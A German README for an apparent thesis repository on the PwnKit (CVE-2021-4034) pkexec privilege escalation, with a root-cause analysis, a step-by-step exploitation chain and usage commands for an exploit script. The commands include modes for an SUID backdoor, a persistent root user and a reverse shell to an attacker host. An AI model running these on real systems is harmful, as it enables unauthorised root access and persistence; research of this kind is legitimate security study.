
Masterarbeit über CVE-2021-4034 (PwnKit) lokale Privilegienausweitung. Python-Exploit mit mehreren Payloads und 7 Modi, darunter interaktive Shell, SUID-Backdoor, Reverse-Shell und Erstellung eines Root-Benutzers. Enthält Root-Cause-Analyse und Dokumentation der Exploitation-Kette.
Speicherkorruptions-Schwachstelle im pkexec-Dienstprogramm von polkit
Lokale Privilegienausweitung → root durch Out-of-Bounds-Schreibzugriff
Betroffen: polkit 0.105-31 und früher · Patch: polkit 0.105-33 (Januar 2022)
Interaktive Root-Shell erlangt durch CVE-2021-4034 - PwnKit
Dieses Repository enthält meine Masterarbeit-Forschung zu CVE-2021-4034, einer Schwachstelle mit hohem Schweregrad (CVSS 7.8) zur lokalen Privilegienausweitung im pkexec-Dienstprogramm von polkit, allgemein bekannt als PwnKit.
Die Schwachstelle entsteht durch einen Out-of-Bounds-Schreibzugriff in der Argumentverarbeitungslogik von pkexec. Wenn pkexec mit einem leeren oder manipulierten argv ausgeführt wird, liest und schreibt es über die Grenzen des argv-Arrays hinaus in das envp-Array, wodurch ein unprivilegierter lokaler Benutzer bösartige Umgebungsvariablen injizieren kann, die anschließend als gemeinsam genutzte Bibliothek geladen werden und beliebigen Code mit Root-Rechten ausführen.
| Aspekt | Beschreibung |
|---|---|
| Multi-Payload-Exploit | Python-Wrapper mit 6 Payload-Modi, darunter Shell, ID, Backdoor und Reverse Shell |
| Automatisierte Umgebungseinrichtung | Automatischer Aufbau von GCONV_PATH und Konfiguration von gconv-modules |
| Post-Exploitation-Module | SUID-Backdoor, Root-Benutzererstellung und benutzerdefinierte Befehlsausführung |
| Akademische Dokumentation | Ursachenanalyse, Exploitation-Kette und Schwachstellen-Zeitleiste |
CVE-2021-4034/
├── README.md # Diese Datei
├── LICENSE # MIT-Lizenz
│
├── exploit/
│ └── pwnkit.py # Erweiterter Exploit mit mehreren Payloads
│
└── docs/
├── screenshots/ # Exploitation-Demonstrationen
│ ├── 01-pwnkit-shell.png
│ ├── 02-pwnkit-id.png
│ ├── 03-pwnkit-whoami.png
│ ├── 04-pwnkit-backdoor.png
│ ├── 05-pwnkit-add-user.png
│ ├── 06-pwnkit-reverse.png
│ └── 07-pwnkit-custom.png
│
└── analysis/
├── 01-root-cause.md # Ursachenanalyse der Schwachstelle
├── 02-exploitation-chain.md # Aufschlüsselung der Exploitation-Kette
└── 03-timeline.md # CVE-Zeitleiste
pkexec --version zeigt 0.105 oder früher)apt install gcc)# Interaktive Root-Shell (Standard)
python3 exploit/pwnkit.py -p shell
# Ausführungskontext überprüfen
python3 exploit/pwnkit.py -p whoami
# Benutzerdefinierten Befehl als Root ausführen
python3 exploit/pwnkit.py -p custom -c "id"
# SUID-Backdoor unter /tmp/.sh erstellen
python3 exploit/pwnkit.py -p backdoor_suid
# Dauerhaften Root-Benutzer hinzufügen
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword
# Reverse Shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444
| Payload | Beschreibung | Ausgabe |
|---|---|---|
shell | Startet interaktives /bin/sh als Root | Interaktive Shell |
id | Schreibt id- und whoami-Ausgabe nach /tmp/pwnkit_id.txt | Datei |
whoami | Schreibt UID/eUID-Überprüfung nach /tmp/pwnkit_root_test | Datei |
backdoor_suid | Erstellt SUID-Root-Bash-Kopie unter /tmp/.sh | Dauerhafte Backdoor |
add_root_user | Hängt benutzerdefinierten Benutzer an /etc/passwd an | Dauerhafter Zugriff |
reverse_shell | Stellt Rückverbindung zum Angreifer über Python her | Remote-Shell |
custom | Führt beliebigen Befehl als Root aus | Stdout / Datei |
pkexec verarbeitet sein eigenes argv, um das ausgeführte Programm zu lokalisieren. Wenn es mit argc == 0 (leerer Argumentvektor) aufgerufen wird, schlägt die Grenzprüfung von argv stillschweigend fehl. Der anschließende Out-of-Bounds-Lesevorgang behandelt envp[0] als argv[1], und der Out-of-Bounds-Schreibzugriff zurück in envp ermöglicht es einem Angreifer, eine Umgebungsvariable durch einen manipulierten Pfad zu ersetzen. Wenn pkexec später g_printerr() aufruft, lädt es GCONV_PATH aus der nun vom Angreifer kontrollierten Umgebung und lädt eine vom Angreifer bereitgestellte gemeinsam genutzte Bibliothek mit Root-Rechten.
argc == 0 → argv[1] reads envp[0]
argv[1] = "GCONV_PATH=." (writes back into envp)
pkexec loads ./pwnkit.so (attacker-controlled shared library)
gconv_init() executes as root
1. Craft argv = { NULL } → argc = 0, triggers OOB access
2. Set envp[0] = "pwnkit.so:."
3. Set envp[1] = "PATH=GCONV_PATH=."
4. pkexec OOB-writes "pwnkit.so:." into envp[0] as if it were argv[1]
5. pkexec resolves GCONV_PATH=. and loads gconv-modules
6. gconv-modules maps "PWNKIT" charset to pwnkit.so
7. pwnkit.so:gconv_init() called with root privileges
8. Payload executes (shell / backdoor / reverse shell / etc.)
| Komponente | Wert | Anmerkungen |
|---|---|---|
| Anfällige Binärdatei | /usr/bin/pkexec | SUID root |
| Auslösebedingung | argc == 0 | Leeres argv |
| Schreib-Primitive | OOB-Schreibzugriff in envp | Über argv[argc-1] |
| Lademechanismus | GCONV_PATH + gconv-modules | Standard glibc iconv |
| Ausführungskontext | gconv_init() in gemeinsam genutzter Bibliothek | Läuft als EUID 0 |
| Betroffene Versionen | polkit ≤ 0.105-31 | Alle gängigen Linux-Distributionen |






